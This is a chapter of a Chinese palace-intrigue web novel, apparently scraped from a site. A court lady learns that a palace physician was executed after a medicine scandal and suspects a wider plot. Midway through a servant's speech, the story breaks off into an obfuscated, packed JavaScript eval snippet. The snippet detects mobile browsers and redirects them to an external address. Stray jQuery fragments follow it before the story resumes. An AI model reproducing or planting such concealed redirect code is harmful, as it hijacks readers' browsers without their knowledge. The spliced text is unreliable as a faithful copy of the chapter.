62. 命草芥

作品:《君妇升职手札

    红玉第二日便领了人进宫。可再回来时,却只余章有为一个,和新选入府的医女刘氏,又请章有为带话,道她还要在宫里多待个一两日才回。


    “……刘氏?”


    元嘉眉梢一挑。


    “说是刘司药的族妹,”红珠正往前者的伤口处涂抹药水,闻言答道,“得刘司药举荐,前两年也进了宫做医女。”


    元嘉轻笑一声,不再追问。


    想是红玉把话说得狠了,那刘司药为证无辜,便将自家族妹送了来,以作示好。


    “是个稳当的就行,”元嘉端起放在手边的杯盏,凑近嘴边啜饮了一口,“最要紧的,是能安心留在畅和馆侍奉好卫良媛,旁的都不重要。”


    “女君放心,刘家几代都是从医的好手,这位刘医女既是刘司药的族妹,医术上定是妥帖的。”


    红珠将最后一点药涂抹干净,这才搁下瓷瓶。略微回忆了下,又将自己从宫里听来的事情,一五一十的说与元嘉知道,“刘司药的父亲便是太医署出身,如今又进了位族妹,想是她们家在为下一任的司药谋算着呢。如此,定不会让刘医女在咱们这儿失了稳当。”


    元嘉还是第一次听到这些事,原以为皇宫就是后妃嫔御居住所在,却不想连女官之间也多有粘连。


    “既是培养着做下一任司药的,来咱们府里岂不屈才?”


    元嘉又问道。


    “刘司药正值盛年,底下的典药、掌药也都是齐全的。宫里头那么多人,与其叫自家族妹在女史的位子上熬着,还不如来咱们这儿。将来再回去,说是侍奉过储君的,刘司药想要提拔,也容易许多。”


    红珠倒似看惯了这些般,元嘉甫一问话,立刻便回答起来。


    “如此,这司药的位子,不就在她刘家人的手里来回转着了?”


    元嘉抬手撑住下颌,看似漫不经心般开口。


    “便是在刘家手里转着,也得有真本事,叫司药司上下信服才行,否则也是待不长久的。”红珠微微一笑,“如今的阮尚服,便是自两任尚服的沈家手里接过尚服局的。”


    “不避亲眷,还能让底下人信服……听着倒像是举荐与考核兼而有之了?”


    “正是呢,”红珠笑着点头,“这样选出来的也不是些尸位素餐之徒,便是一家出来的,真本事摆在那里,大家也还是愿意听候差遣的。”


    见元嘉似乎对这些颇感兴趣,红珠便又捡着女官的考核升迁,一点点说与元嘉听。前者歪着头,思绪却有些飘散了,手也无意识地搭住杯盖,指腹不住地摩挲着。


    自然,也就没有瞧见正在一旁收拾药瓶的章辛夷的眼里陡然迸出的光。


    ……


    红玉是在第三日午后回来的。


    和她一起的,还有失踪了七日的李医女的消息。


    “……人没了?”


    元嘉看向红玉,眼中既有错愕,又带着几分明显的难以置信。片刻后,才勉强稳住心神,开始询问起其中的不对劲来。


    “是,”红玉也抿着嘴,“说是给贵人煎药时出了差错,当日便被发落去了掖庭。”


    元嘉拧着眉,“她是回去述差的,怎么还会被留在宫里煎药?”


    “说是李医女回宫那日,恰逢司药司为各宫分送防暑热的药剂,人手实在不够,寻常宫女又分辨不出药材,她们也不放心,便让李医女一并捡药帮着熬煮了些。”


    红玉顿了一下,“结果某位贵人用了司药司送去的药剂后,身上竟出现了大片红疹,送药的宫女当场便被罚进了掖庭。后来再一查,发现竟是李医女捡的药和熬煮的,便也被关进去了……”


    “只是关进去了?”元嘉问道,“人又是怎么没的。”


    “说是原只想小惩大诫,让李医女受些皮肉之苦长长记性,”红玉带着几分迟疑与遮掩,“谁知却在掖庭的记档中翻到了李医女从前犯下的过错……竟也发生过不辨药材、胡乱配药的事情,还不止一次。偏她在司药司的次次考核中都是乙等以上,再往下查,便牵扯出更多的人了。”


    红玉的眼中有些惊惧,“原来这李氏是经人举荐进的宫,举荐的人收了好处,又帮着四下打点了不少。本意是将她分去一个油水多的地方捞些银钱,过两年再以犯了错的名义将其驱赶出宫,如此神不知鬼不觉。不想这中间却出了岔子,那李氏最后便去到了司药司,先做了女史,又因刘司药时常授课,一来二去的就成了医女。”


    “宫里头的规矩,若被举荐之人当差时犯了错,举荐之人以连坐论,所以举荐李氏的人便帮其在考核中做了手脚。只是到底有力所不能及之处,这也才有掖庭记档中的那些事情……不想后来,竟将她分到了咱们府上。”


    “李氏犯了这样大的罪过,哪里还能有命呢。”


    红玉唏嘘不已。


    怪不得当日在畅和馆时,她也只说是照吩咐熬药,旁的一概不知。原来自己就是个半吊子,所以才看不出那药方中的矛盾之处……又或者,正是因为她什么都看不出来,所以才会被分去畅和馆。


    元嘉眸色微暗,“你刚才说,李氏之事还牵扯出了更多的人……除了她,还有谁被关进掖庭了?”


    “奴婢不知,”红玉艰难摇头,“实在是这几日宫里头人人自危,连皇后殿下也发了话,要孙宫正严查李氏一事,所有的宫女都得去掖庭接受盘问,便是那些早去了别宫安置的老宫女们,也不得例外。”


    元嘉垂目细思,指尖无意识地敲击着桌面。这样大的阵仗,也不知要填进去多少人……可真有罪的,又能有几个呢?若她是心怀鬼胎者,必定要趁这次机会,将身边的隐患全部送进去,就此一了百了。李氏不无辜,可也不过是个傀儡罢了,还是个到死都不知道自己被利用了的傀儡。


    “可知道是哪个贵人吗?”


    元嘉忽然问道。


    “刘司药说话语焉不详的,奴婢也没能从她的嘴里打听到什么。”红玉面露惭色,“但私底下问过几个交好的姊妹,她们并未听说哪位娘娘害了红疹。可掖庭的人断不会撒如此明显的谎,奴婢便猜想,还能在宫里被称呼一句贵人的,就


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203569|154513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只剩那几位公主了……”


    红玉的话,在元嘉心里激起了一圈涟漪,连带着她的怀疑也愈发浓烈。居长的燕景璇,行二的万春公主,如今大半时间都在宫外住着呢,剩下的三个里面,四公主和五公主都还只是几岁的孩童呢,便是防暑热的药剂,又哪里敢随随便便服下呢……只有三公主。


    可这些,仍是无证据的猜测。


    元嘉忽的嗤笑出声,“刘司药真是个本事人哪,咱们问便是含糊其辞,旁人要处置时更能连声招呼都不打。便是司药司的宫女,那也是拨到太子府里侍奉的。你若不进宫去,这李氏是不是就要一直找不着踪影了呢!”


    “女君息怒。”


    红玉劝道。


    若非李氏真是个不干净的,只看这次直接扣了人又将其处置的行为,可说是全然不顾及太子府、或者说是元嘉的脸面。可已然得了皇后发话,这个人便再无可能归她们管了。说到底,还是一开始在司药司种下的根,元嘉如今在她们面前表露出对刘司药的不满,也属情理之中。


    这般想着,红玉又打量着元嘉的神色,见她并不像真动了气,遂斟酌着开口:“不若……奴婢再换个人问问?”


    元嘉犹豫了下,还是摇了头,“如今谁还有心思打听这件事,再问也不会有更多的消息了。不管那位贵主是嫔妃还是公主,如无必要,哪个女官愿去触霉头。刘司药不欲直言,也属常事,咱们心里有数也就行了。”


    红玉低头称是,心中却颇有些懊恼──她原以为此行容易,却不想其中牵扯的人与事如此之多。到头来,竟是她自己办了件不算圆满的差,实在是愧对元嘉的期望。


    红玉的嘴角微微下撇,显出几分烦闷与自责,想了想又不甘心道:“那李氏已然没了,她留在咱们府里的东西,奴婢就让人收去扔掉吧?”


    “东西该扔,却不必这时候扔,更不必你去做了钱掌正的活。”元嘉瞥了人一眼,“她不是说这件事或许是底下人的疏忽吗,不是说她自己全然不知吗,可说到底,还是她自己敷衍塞责,本宫要治她一个失慎之罪也是全然在理的。”


    “李氏的东西,让她带着咱们的人一一查过,入册后再交去掖庭,权当是给她机会将功补过了,若再有懈怠,她也去掖庭走一遭吧。至于是扔是毁,只等孙宫正那边的话,毕竟有皇后的命令在其中,不必咱们出去冒头。”


    “是,奴婢记下了,这就去办。”


    红玉答道。


    元嘉嗯了一声,身子微微侧倾,又重新靠回软枕之上。


    薛神妃,不,应该说是薛德妃留下来的人可真多哪……她前脚才换了卫妙音的药,李氏后脚便被处置了,饶是罪证确凿,可时间上未免也太巧合了。


    真是……


    越来越有意思了。


    元嘉一开始还有些束手束脚,甚至忧心己身安危,如今时日长了,竟也开始雀跃期待起来,当真是时势造人。少顷又发出一声轻笑,在寂静的屋内显得格外清晰。


    来日方长。


    她有的是时间。